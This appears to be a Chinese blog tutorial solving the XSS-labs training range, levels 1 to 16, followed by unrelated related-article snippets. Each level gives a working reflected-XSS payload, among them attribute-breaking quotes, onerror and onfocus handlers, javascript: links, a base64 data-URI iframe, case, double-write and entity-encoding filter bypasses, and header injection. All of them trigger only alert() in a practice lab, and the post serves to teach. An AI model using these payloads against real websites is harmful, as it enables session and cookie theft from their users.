XSS-labs

news2024/11/23 9:00:36

XSS常见的触发标签_xss标签_H3rmesk1t的博客-CSDN博客

该补习补习xss漏洞了

漏洞原理

网站存在 静态 和 动态 网站

xss 针对的网站 就是 动态网站

动态网站

会根据 用户的环境  与 需求 反馈出 不同的响应


静态页面 

代码写死了  只会存在代码中有的内容

通过动态网站 用户体验会大大加深 但是会存在漏洞 xss

XSS 是一种注入漏洞

通过用户输入 在代码页中插入 恶意语句 从而实现注入

攻击成功 可以获取但不止 COOKIE 会话 和 隐私页面

首先我们来看看最简单

<?php

$xss = $_GET['name'];
echo $xss;

?>

然后我们通过 get 传递漏洞

<script>alert(1)</script>

xss需要通过php的输出指令来输出

我们通过做题目来继续了解吧

打开靶场

Level1   【无过滤】

我们能发现 这三个地方

然后我们回去看看源代码

能发现 我们输入什么 他就存储在源代码什么

这里就是动态的

如果和sql注入一样 我们插入恶意代码呢

<script>alert(1)</script>

这里通过 alert 来弹窗

这里 script 表示 JavaScript代码 / 表示结束了



那么这里插入后

<h2 align=center>欢迎用户test1</h2><center><img src=level1.png></center>

就变为了


<h2 align=center>欢迎用户test1<script>alert(1)</script></h2><center><img src=level1.png></center>


实现了 alert 弹窗

我们就实现了 第一题

Level2   【参数】

我们依然看看源代码

这里我们发现了 我们输入的值 被当做参数了

value="1">

这里我们就想到了 sql注入的闭合了

<script>标签

value="1">

如果我们自己将其闭合呢

我们输入 ">

就会变为

value="">">

这里 其实就是

value="">
">

然后我们构造恶意代码

value=""><script>alert(1)</script>
">

就会实现xss注入

所以payload 就是

"><script>alert(1)</script>

<img>标签

src

是资源的标签

一般

<img src="/i/eg_tulip.jpg" />

这样使用

如果读取不到 我们可以设置 onerror属性 来输出内容 这里就存在 xss

"> <img src="666" onerror=alert()> <"

onmouseout   鼠标移出图片

附属于 img 下的属性

payload为 

"> <img src=666 onmouseout="alert()"> <"

onmouseover  鼠标移动到图片

"> <img src=666 onmouseover="alert()"> <"

 data 伪协议

这里是利用 iframe标签

"> <iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+> <"

PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+ 为 <sricpt>alert()</sricpt>

Level3   【htmlspecialchars】

我们查看代码 没有发现和上一题有什么不一样的

所以我们去继续使用上题的payload

"><script>alert(1)</script>

 

发现被实体化了

并且只过滤了  <>

这里我们就需要想到是htmlspecialchars

我们去看xsslab源代码

确实是这样

这里其实预定义了转义的内容  因为单引号没有被转义 但是其实可以实现的

&:转换为&amp;
":转换为&quot;
':转换为成为 '
<:转换为&lt;
>:转换为&gt;

发现就是为了让 <>里面的转变为字符串 失去闭合作用

单引号绕过

这里我们需要通过 ' 绕过

因为我们的<> 会被实体化

所以我们需要运用不需要<>的payload

我们可以利用 onfocus 事件

onfocus事件

当 页面中存在 输入框等 需要存在点击的界面时

onfocus 就可以被触发

这里就存在一个很明显的例子

既然 onfocus可以出发函数 那么我们就可以通过执行

这里就可以写入payload

onfocus=javascript:alert()

这样就可以绕过 过滤 <>

那我们如何执行呢

我们输入一个 ' 时

变成了下面这个
value="" '="">



我们输入 'abcd'

变为了

value="" abcd''="">


我们输入 payload

' onfocus=javascript:alert(1) ' 

就会变为

value=""  onfocus=javascript:alert(1) '' ="">

从而实现了闭合

所以最终payload

' onfocus=javascript:alert(1) '

Level4   【过滤><】

我们首先可以判断是否存在过滤

'"&<>

发现只有3个了 过滤了 <>

用上题目的payload

' onfocus=javascript:alert(1) '

失效了

我们看看代码

进行修改payload

" onfocus=javascript:alert(1) '

Level5   【过滤script】

我们使用第一题的payload直接上去

发现 script 变为了 scr_ipt

我们去看看源代码

发现过滤了 on 和 script

所以我们使用其他方式

a herf

<html
<p>123</p>
<a href=javascript:alert("yes")>xxxxxx</a>
</html>

我们先给出payload

然后我们解释一下

通过 a标签 然后点击 我们可以实现跳转等操作

既然可以实现跳转 那我们也可以实现 执行JavaScript命令

我们开始做题

我们先传入内容

<a href=javascript:alert()>xxxxxx</a>

我们需要闭合 所以修改paylaod

"> <a href=javascript:alert()>xxxxx</a>

还需要将后面的 "> 闭合

所以最后的payload为

"> <a href=javascript:alert()>xxxxx</a> <"

点击即可实现

Level6   【过滤 a href】

我们把上面的 payload 丢进去看看

发现 过滤 了 a href

但是放出来了 大小写 所以我们可以

大小写绕过

"> <ScRipt>alert()</ScRipt> <"

或者

"> <a HrEf=javascript:alert()>xxxx</a> <"

又或者

" Onfocus=javascript:alert() "

Level7  【替换为空】

我们先上关键词看看

" Onfocus <ScRipt> <a Href=javascript:alert()>

能发现返回值是

" focus <> <a =java:alert()>

全部替换为空了

这里我们使用

双写绕过

开始构造

" OOnnfocus=javascscriptript:alert() "

"> <a hrhrefef=javascscriptript:alert()>xx</a> <"

Level8   【a href标签自动url解码】

更新一下 关键词

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

看看过滤了啥

这里为什么我们无法直接通过input来xss 因为存在 htmlspecialchars函数 会吧我们输入的内容

直接作为字符串输出

引号被过滤了 无法实现闭合

所以没有用了

我们需要通过下面的 a href标签输出了

但是下面又存在过滤

我们如何实现呢

其实

a href 存在自动解密 url的功能

所以我们只需要通过编码绕过 过滤 如何通过 a href 编码执行即可

javascript:alert()


&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;


unicode编码

直接输入即可

然后点击 友情链接即可

Level9   【判断http在不在标签内】

我们看看源代码

strpos 查看 http://是否在 输入里面 如果不在 输出不合法

这里就好办了

我们通过注释输入http://即可

运用上一道题目的payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41; /* http:// */

这里就看到 http:// 是被注释掉了

Level10 【闭合 fake hidden】

看看源代码

发现需要另一个来传递

我们这里并且过滤了 <>

但是其实还是很简单的

" onfocus=javascript:alert() " type=text

 Level11  【Referer注入】

我们再来看看源代码

通过referer

为什么无法通过 t_sort

因为 htmlspecialchars 无法闭合 " 会被实体化

所以我们通过 referer来进行 xss

referer 的内容 就和 上面一样

" onfocus=javascript:alert() " type=text

Level12 【UA注入】

" onfocus=javascript:alert() " type=text

Level13 【cookie注入】

" onfocus=javascript:alert() " type=text

Level14  【通过图片属性实现xss】

这里我的小皮环境有问题 无法实现文件上传

这里 主要就是通过 图片的属性解析 然后我们写入 xss语句

这样就会报错

[靶场] XSS-Labs 14-20_3hex的博客-CSDN博客

Level15   【通过src访问文件执行】

这里的意思就是src是访问了 一个图片

那我们可以通过这个src访问第一题的php 然后通过 第一题的php来执行

但是我还是无法实现 可能我php没开启属性

xss-labs靶场实战全通关详细过程(xss靶场详解)-CSDN博客

Level16   【绕过空格】

XSS常见的触发标签_xss标签_H3rmesk1t的博客-CSDN博客

查看代码

发现过滤了 空格 和 /

首先就是查找一个不需要/的触发标签

这里我选择

<video><source onerror="alert(1)">

其次需要绕过空格

我们可以首先看看 这两个空格是什么编码

那么这里面我们可以使用 %0a绕过

所以payload就是

<video><source%0Aonerror="alert(1)">

Level17

后面是 flash的插件了

我觉得没有必要做了 因为现在 flash已经被大多数浏览器抛弃了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1054588.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023年中国火化设备行业现状分析:随着城市化进程的推进,市场需求将持续增长[图]

火化设备行业是指生产和提供用于尸体火化处理的设备和相关服务的行业。火化设备主要用于将尸体进行高温焚烧&#xff0c;将尸体转化为骨灰&#xff0c;以达到尸体处理和殡葬的目的。 火化设备行业优点 资料来源&#xff1a;共研产业咨询&#xff08;共研网&#xff09; 我国火…

C++面试八股(一)

目录 C和C的区别 1、语言特性 2、内存管理 3、C的库更加丰富 4、对异常的处理 什么是封装继承多态&#xff1f; 封装 继承 多态 new和malloc的区别 STL容器有哪些&#xff1f;容器对应的使用场景&#xff1f;&#xff08;挑一个你认为最熟悉的容器&#xff09; vector、…

评估指标Pre\Rec\F1\AUC

AUC的计算方法同时考虑了分类器对于正例和负例的分类能力&#xff0c;在样本不平衡的情况下&#xff0c;依然能够对分类器作出合理的评价。AUC代表模型预估样本之间的排序关系&#xff0c;即正负样本之间预测的gap越大&#xff0c;auc越大. 来自 https://blog.csdn.net/pearl8…

wustctf2020_name_your_cat

wustctf2020_name_your_cat Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)32位&#xff0c;开了NX和canary int shell() {return system("/bin/sh"); }有个后门函数 unsigned int…

AutoHotkey ---- 统一所有软件的快捷键(分析篇)

文章目录 引言理论编程方案 引言 快捷键大家都不陌生.但是目前的快捷键普遍存在以下几个问题。 不统一,即word、ppt、浏览器、各种编辑器、邮件客户端等等&#xff0c;都有属于自己的一套快捷键。快捷键冲突&#xff0c;即不同软件使用了相同的快捷键&#xff0c;而且作用域是…

GNN PyG~torch_geometric 学习理解

目录 1. PyG Introduction 2. PyG Installation 2.1 PyG 安装常见错误及原因 2.2 PyG 具体安装步骤 3. torch_geometric packages torch_geometric.data.Data Dataset 与 DataLoader Dropout、BatchNorm 3. torch_geometric: 理解edge_index 3.1 理解 mini-batch edg…

[H5动画制作系列]帧代码运行顺序测试

刚开始接触Animate CC(过去叫:Flash),对于帧代码的执行顺序十分迷惑。所以,专门做一个简单代码顺序测试. 准备工作: 代码图层actions,第1帧和第10帧为关键帧。 背景图层bg,就一个字符串红色Test.界面如下: 代码测试步骤: 第1帧参考代码如下: 第10帧参考代码如下: …

​68条萝卜刀《乡村振兴战略下传统村落文化旅游设计》许少辉八一新书

​68条萝卜刀《乡村振兴战略下传统村落文化旅游设计》许少辉八一新书 ​68条萝卜刀《乡村振兴战略下传统村落文化旅游设计》许少辉八一新书

打包python模块代码到pypi

python中&#xff0c;我们会在自己业务中&#xff0c;重复性的使用某些功能。我们可以把这些公用的模块&#xff0c;打包上传&#xff0c;然后给需要的人使用&#xff0c;pypi给我们提供了这个机会 本期目录 一、准备工作 二、编写文件 三、上传下载 一、准备工作 1、需要git…

k8s实战案例之部署Nginx+Tomcat+NFS实现动静分离

1、基于镜像分层构建及自定义镜像运行Nginx及Java服务并基于NFS实现动静分离 1.1、业务镜像设计规划 根据业务的不同,我们可以导入官方基础镜像,在官方基础镜像的基础上自定义需要用的工具和环境,然后构建成自定义出自定义基础镜像,后续再基于自定义基础镜像,来构建不同服…

软件测试之Python基础学习

目录 一、Python基础 Python简介、环境搭建及包管理 Python简介 环境搭建 包管理 Python基本语法 缩进(Python有非常严格的要求) 一行多条语句 断行 注释 变量 基本数据类型(6种) 1. 数字Number 2. 字符串String 3. 列表List 4. 元组Tuple 序列相关操作方法 …

Unity 鼠标悬浮时文本滚动(Text Mesh Pro)

效果 直接将脚本挂载在Text Mesh Pro上&#xff0c;但是需要滚动的文本必须在Scroll View中&#xff0c;否侧会定位错误&#xff0c;还需要给Scroll View中看需求添加垂直或者水平布局的组件 代码 using System.Collections; using System.Collections.Generic; using UnityE…

【生物信息学】使用谱聚类(Spectral Clustering)算法进行聚类分析

目录 一、实验介绍 二、实验环境 1. 配置虚拟环境 2. 库版本介绍 3. IDE 三、实验内容 0. 导入必要的工具 1. 生成测试数据 2. 绘制初始数据分布图 3. 循环尝试不同的参数组合并计算聚类效果 4. 输出最佳参数组合 5. 绘制最佳聚类结果图 6. 代码整合 一、实验介绍…

【BLIP/BLIP2/InstructBLIP】一篇文章快速了解BLIP系列(附代码讲解说明)

文章目录 BLIP系列1. BLIP1.1 动机1.2 整体架构1.3 损失函数1.4 Captioning and Filtering(CapFilt)1.4.1 Why&#xff1f;1.4.2 方法 2. BLIP22.1 Q-Former的设计2.2 实现功能2.2.1 图像文本检索(Image-Text Retrieval)2.2.2 图像字幕(Image Captioning)2.2.3 视觉问答(VQA)2.…

1. Flink程序打Jar包

文章目录 步骤注意事项 步骤 用 maven 打 jar 包&#xff0c;需要在 pom.xml 文件中添加打包插件依赖 <build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-shade-plugin</artifactId><ver…

Python绘图系统24:绘图类型和坐标映射的关系

文章目录 类别与轴数坐标类别对映射的影像绘图类别对坐标轴的影响源代码 Python绘图系统&#xff1a; 前置源码&#xff1a; Python打造动态绘图系统&#x1f4c8;一 三维绘图系统 &#x1f4c8;二 多图绘制系统&#x1f4c8;三 坐 标 轴 定 制&#x1f4c8;四 定制绘图风格 &a…

CV面试知识点总结

一.卷积操作和图像处理中的中值滤波操作有什么区别&#xff1f; 1.1卷积操作 卷积操作是一种线性操作&#xff0c;通常用于特征的提取&#xff0c;通过卷积核的加权求和来得到新的像素值。1.2中值滤波 原文&#xff1a; https://blog.csdn.net/weixin_51571728/article/detai…

英飞凌Tricore原理及应用介绍06_系统定时器(STM)模块详解

目录 1.概述2 STM外设基本介绍3. STM模块使用原理3.1 64位数据如何同步读取?3.2 比较寄存器的原理?1.概述 STM全称为System Timer即系统定时器模块,在英飞凌Tricore芯片中,每个单独的CPU操作系统中配备一个系统定时器,为其操作系统程序调度提供时钟基础,在整个大系统中,…

【day9.30】消息队列实现进程间通信

write.c linuxlinux:~/23062/930$ cat write.c #include<myhead.h>#define ERR_MSG(msg) do{\fprintf(stderr, "__%d__:", __LINE__); \perror(msg);\ }while(0)typedef struct {long msgtype; //消息类型char data[1024]; //消息正文 }Msg_s;#define SIZ…

Java单链表

链表的介绍&#xff1a; 1) 链表是以节点的方式来储存的&#xff0c;是链式存储结构 2&#xff09;每个节点包含data域和next域&#xff0c;next域指向下一个节点 3&#xff09;链表内存储的元素不一定连续 4&#xff09;链表分带头节点的链表和不带头节点的链表 ​​​​ …